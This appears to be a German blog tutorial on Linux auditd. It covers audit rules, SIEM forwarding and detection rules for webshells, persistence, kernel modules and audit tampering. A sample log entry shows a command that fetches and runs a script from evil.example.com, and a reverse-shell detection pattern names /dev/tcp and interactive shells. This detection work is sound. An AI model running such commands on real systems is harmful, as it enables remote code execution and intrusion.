Linux-Logging mit Auditd: Welche Regeln du sofort aktivieren solltest
Einleitung
Wenn auf einem Windows-Host Sysmon installiert ist, hat man eine erstaunlich vollständige Telemetrie-Quelle. Das Linux-Pendant – auch wenn es weniger sexy klingt – ist Auditd, das eingebaute Audit-Subsystem des Linux-Kernels. Korrekt konfiguriert, liefert es alles, was du für Detection brauchst: Process Execution, File Access, Network-Calls, Auth-Events. Falsch konfiguriert, ist es entweder unbrauchbar (zu wenig Regeln) oder eine Performance-Bremse (zu generisch). Dieser Artikel zeigt dir die ersten Auditd-Regeln, die du sofort aktivieren solltest.
Warum das Thema wichtig ist
In typischen Angriffen auf Linux-Server (Webshell-Drop, SSH-Bruteforce + Credential-Wiederverwendung, Cryptominer, Container-Escape) hinterlassen Angreifer auf Kernel-Ebene Spuren. Standard syslog zeigt davon wenig. Wer Auditd nicht nutzt, fliegt in der Linux-Detection blind. Mit den richtigen Regeln bekommst du einen Detection-Stack, der ohne EDR-Lizenz funktioniert – und gleichzeitig viele Compliance-Anforderungen (PCI, BSI IT-Grundschutz APP, NIS2) abdeckt, die explizit Audit-Logging fordern.
Auditd in 60 Sekunden
Auditd besteht aus drei Komponenten:
- Kernel-Audit-Subsystem – generiert die Events
auditd-Daemon – nimmt sie entgegen, schreibt nach/var/log/audit/audit.logauditctl/audit.rules– konfiguriert, welche Events erfasst werden
Installation auf Debian/Ubuntu:
sudo apt install auditd audispd-plugins
sudo systemctl enable --now auditd
Auf RHEL/Rocky/Alma ist Auditd standardmäßig installiert.
Regeln werden in /etc/audit/rules.d/*.rules abgelegt und mit augenrules --load aktiviert.
Die drei Regelarten
# Watch (Datei/Pfad-Watch)
-w /etc/passwd -p wa -k passwd_changes
# Syscall-Filter
-a always,exit -F arch=b64 -S execve -k execution
# Control-Befehle
-D # alle bestehenden Regeln löschen
-b 8192 # Buffer-Größe (Events vor Drops)
-f 1 # Failure-Mode (1 = print to printk)
Die Starter-Regelmenge: 10 Regeln, die wirklich helfen
Die folgende Regelmenge basiert auf dem Linux Auditd Best Practices Guide der NSA und auf MITRE-ATT&CK-Mapping. Direkt einsetzbar in /etc/audit/rules.d/security.rules.
# === Allgemeine Konfiguration ===
-D
-b 8192
-f 1
# === 1. Authentifizierungs-Events ===
# Lese-/Schreibzugriffe auf passwd, shadow, group, sudoers
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/sudoers -p wa -k identity
-w /etc/sudoers.d/ -p wa -k identity
# === 2. SSH-Konfiguration und -Keys ===
-w /etc/ssh/sshd_config -p wa -k sshd_config
-w /root/.ssh/ -p wa -k ssh_keys
-w /home/ -p wa -F dir=/home -k home_changes
# === 3. Privilegierte Befehlsausführung (jeder execve mit UID=0) ===
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_execve
-a always,exit -F arch=b32 -S execve -F euid=0 -k root_execve
# === 4. Privilege Escalation ===
-w /usr/bin/sudo -p x -k privileged_command
-w /usr/bin/su -p x -k privileged_command
-w /usr/bin/passwd -p x -k privileged_command
# === 5. Kernel-Module Manipulation ===
-w /sbin/insmod -p x -k modules
-w /sbin/rmmod -p x -k modules
-w /sbin/modprobe -p x -k modules
-a always,exit -F arch=b64 -S init_module,delete_module -k modules
# === 6. Cron / Scheduled Tasks ===
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -p wa -k cron
# === 7. systemd unit changes (Persistence) ===
-w /etc/systemd/ -p wa -k systemd
-w /lib/systemd/ -p wa -k systemd
-w /usr/lib/systemd/ -p wa -k systemd
# === 8. Webserver document roots (Webshell-Detection) ===
-w /var/www/ -p wa -k webroot
# Apache/nginx-Konfig
-w /etc/apache2/ -p wa -k webserver_config
-w /etc/nginx/ -p wa -k webserver_config
# === 9. Network-Konfigurationen ===
-w /etc/hosts -p wa -k network
-w /etc/network/ -p wa -k network
-w /etc/sysconfig/network -p wa -k network
-w /etc/iptables/ -p wa -k network
-w /etc/nftables.conf -p wa -k network
# === 10. Eigenes Audit-System schützen (Tampering-Detection) ===
-w /etc/audit/ -p wa -k auditconfig
-w /etc/libaudit.conf -p wa -k auditconfig
-w /var/log/audit/ -p wa -k auditlogs
# Final: Audit-Regeln einfrieren (nach Reload nicht mehr änderbar)
# -e 2
Hinweis:
-e 2macht die Regelmenge erst nach einem Reboot wieder änderbar – sehr wirksam gegen Angreifer, dieauditctl -Dversuchen. In KMU-Umgebungen mit häufigen Regel-Iterationen erstmal weglassen, später aktivieren.
Aktivieren:
sudo augenrules --load
sudo auditctl -l # Liste aktiver Regeln prüfen
Was die Logs konkret zeigen
audit.log ist nicht menschenfreundlich. Beispiel-Eintrag:
type=EXECVE msg=audit(1714654321.123:6789):
argc=3 a0="bash" a1="-c" a2="curl http://evil.example.com/x.sh | sh"
type=SYSCALL msg=audit(1714654321.123:6789):
arch=c000003e syscall=59 success=yes exit=0 ppid=1234 pid=2345
auid=1000 uid=0 gid=0 euid=0 ses=42 comm="bash" exe="/usr/bin/bash"
Mit ausearch und aureport deutlich lesbarer:
# Alle execve-Events mit UID=0 in den letzten 24h
sudo ausearch -k root_execve -ts today -i
# Top-10 ausgeführte Befehle
sudo aureport -x --summary
# Auth-Events
sudo aureport -au
Forwarding ins SIEM
/var/log/audit/audit.log gehört per rsyslog, syslog-ng oder Wazuh-Agent zentral. Beispiel rsyslog mit imfile:
# /etc/rsyslog.d/30-auditd.conf
module(load="imfile")
input(type="imfile"
File="/var/log/audit/audit.log"
Tag="auditd"
Severity="info"
Facility="local6")
local6.* @@siem.example.com:514
Wazuh-Agent (empfohlen für KMU):
<!-- /var/ossec/etc/ossec.conf auf dem Endpoint -->
<localfile>
<log_format>audit</log_format>
<location>/var/log/audit/audit.log</location>
</localfile>
Wazuh parst Auditd nativ und mappt es auf Detection-Rules.
Erste Detections, die sich sofort lohnen
1. Reverse-Shell-Pattern
title: Possible Reverse Shell via Bash
detection:
selection:
type: 'EXECVE'
a0: 'bash'
args|contains:
- '-i >& /dev/tcp/'
- 'bash -c'
- 'sh -i'
condition: selection
level: high
2. Persistence via systemd / cron (Watch-Trigger)
title: New systemd unit created
detection:
selection:
key: 'systemd'
type: 'PATH'
name|contains: '.service'
condition: selection
level: medium
3. Webshell-Drop in Webroot
title: File written to webroot (potential webshell)
detection:
selection:
key: 'webroot'
syscall: 'open'
flags|contains: 'O_CREAT|O_WRONLY'
name|endswith:
- '.php'
- '.jsp'
- '.aspx'
condition: selection
level: critical
4. Ungewöhnliche Kernel-Module (Rootkit)
title: Kernel module loaded
detection:
selection:
key: 'modules'
syscall:
- 'init_module'
- 'finit_module'
condition: selection
level: high
5. Audit Tampering
title: Audit configuration changed
detection:
selection:
key: 'auditconfig'
condition: selection
level: critical
ATT&CK-Bezug: T1059.004 (Unix Shell), T1543.002 (systemd Service), T1505.003 (Web Shell), T1547.006 (Kernel Modules), T1562.006 (Indicator Blocking).
Performance und Volumen
Auditd kann bei zu generischen Regeln (-S all oder ähnlich) auf busy Servern durchaus 10–20 % CPU kosten. Unsere Starter-Regelmenge oben ist zurückhaltend genug, dass sie auf typischen Web-/App-Servern <1 % spürbar ist.
Tuning-Hebel:
- Buffer-Size
-b 8192(16384 für High-Traffic-Server) - Failure-Mode
-f 1(statt-f 2Panic – das ist in Production riskant) - Whitelist häufiger legitimer execve-Quellen (Backup-Agents, Monitoring) per
-FFilter - Logrotate für
/var/log/audit/audit.logkorrekt konfigurieren (sonst läuft/varvoll)
Stolperfallen
- Container/Docker generieren extreme Mengen Auditd-Events. Auf Docker-Hosts ggf. den Container-PID-Namespace ausfiltern oder dezidierte Container-Logging-Strategie wählen.
- Auditd vs. systemd-journald: beide laufen parallel. Audit ist tiefer (Kernel-Ebene), Journal ist breiter (alle Services). Beide forwarden ist Standard.
- Selinux-Audit-Events kommen mit auditd – gut für Selinux-Tuning, kann aber Volumen explodieren lassen.
- Auf Cloud-Linux-Hosts mit AWS/Azure-Agents: prüfen, ob die Cloud-Logs dasselbe abdecken (oft tun sie es nicht – Auditd zusätzlich).
Praxis-Checkliste
- Auditd auf allen Linux-Servern installiert und aktiv
- Starter-Regelmenge ausgerollt (
/etc/audit/rules.d/security.rules) -
augenrules --loadTeil des Provisionierungs-Prozesses (Ansible/Cloud-Init) - Audit-Logs ins SIEM (rsyslog, Wazuh, Filebeat)
-
aureport/ausearchals Cheat-Sheet im IR-Toolkit - Detection-Rule auf Reverse-Shell-Pattern in EXECVE
- Detection-Rule auf File-Drops in Webroot
- Detection-Rule auf Kernel-Modul-Load
- Detection-Rule auf Audit-Tampering
- Logrotate für
/var/log/audit/audit.logkonfiguriert - Quartalsweise: Regeln gegen aktuelle ATT&CK-Linux-Techniken abgleichen
Fazit
Auditd ist auf Linux das, was Sysmon auf Windows ist – nur dass es schon installiert ist und nur eine ordentliche Regelmenge braucht. Die Starter-Regeln in diesem Artikel decken die wichtigsten ATT&CK-Linux-Techniken ab und produzieren auf typischen Servern <1 % Performance-Last. Weiter aufbauen kannst du danach iterativ: für besondere Server (DBs, Web-Server, DCs) gezielt zusätzliche Watches setzen. Wer Linux-Detection ohne Auditd betreibt, verschenkt 80 % der möglichen Sichtbarkeit.
Wenn du tiefer einsteigen willst: Im Newsletter zeige ich jeden Monat konkrete Auditd-Regeln, Detection-Patterns und Tuning-Tipps. Trag dich ein.